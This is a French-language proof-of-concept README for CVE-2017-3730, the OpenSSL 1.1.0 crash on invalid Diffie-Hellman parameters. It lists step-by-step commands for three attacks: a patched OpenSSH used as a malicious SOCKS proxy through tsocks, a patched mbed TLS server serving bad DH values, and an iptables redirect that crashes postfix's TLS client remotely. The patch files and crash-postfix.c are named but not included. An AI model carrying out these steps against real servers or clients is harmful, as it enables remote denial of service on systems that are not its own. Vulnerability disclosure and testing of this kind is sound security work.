CVE-2017-3730

Preuve de concept de la vulnérabilité CVE-2017-3730 dans OpenSSL

Utilisation d'OpenSSH comme proxy pour modifier les valeurs DH à la volée

• Créez un serveur SSL utilisant une suite de chiffrement comme DHE-PSK-WITH-AES-256-GCM-SHA384. Disons qu'il tourne sur 10.0.2.2 port 8899
• Récupérez openssh-7.4p1
• Appliquez le patch
• Compilez-le
• Exécutez-le comme suit :

./ssh -vvv -N -D 1085 -o TCPKeepAlive=yes -o ServerAliveInterval=60 localhost

• Dans un autre terminal, créez un fichier ~/.tsocks.conf avec ce contenu :

server = 127.0.0.1
server_port = 1085
server_type = 5
local = 127.0.0.0/255.255.255.0

• ```export TSOCKS_CONF_FILE=`realpath ~/.tsocks.conf````
• tsocks
• Cela crée un shell dans lequel tout le trafic réseau passe par notre proxy « malveillant »
• openssl s_client -connect 10.0.2.2:8899 -psk AA
• crash

Modifier mbed TLS pour servir des paramètres DH invalides

• Récupérez https://github.com/ARMmbed/mbedtls/archive/mbedtls-2.4.1.tar.gz
• Appliquez mbedtls-2.4.1-patch.txt
• make -j4 programs
• Lancez le serveur : programs/ssl/ssl_server2 force_ciphersuite=TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
• Connectez-vous avec un client OpenSSL 1.1.0
• crash

Faire planter postfix à distance

• Compilez postfix avec OpenSSL 1.1.0
• Compilez crash-postfix.c avec la version PATCHÉE de mbed TLS (voir ci-dessus)
• Ce que j'ai fait : lancer postfix dans une VM et exécuter crash-postfix sur l'hôte :
• iptables -t nat -A OUTPUT -p tcp --dport 25 -j DNAT --to-destination 10.0.2.2:8888
• Lancez crash-postfix
• Exécutez postfix : posttls-finger 10.0.2.2
• Crash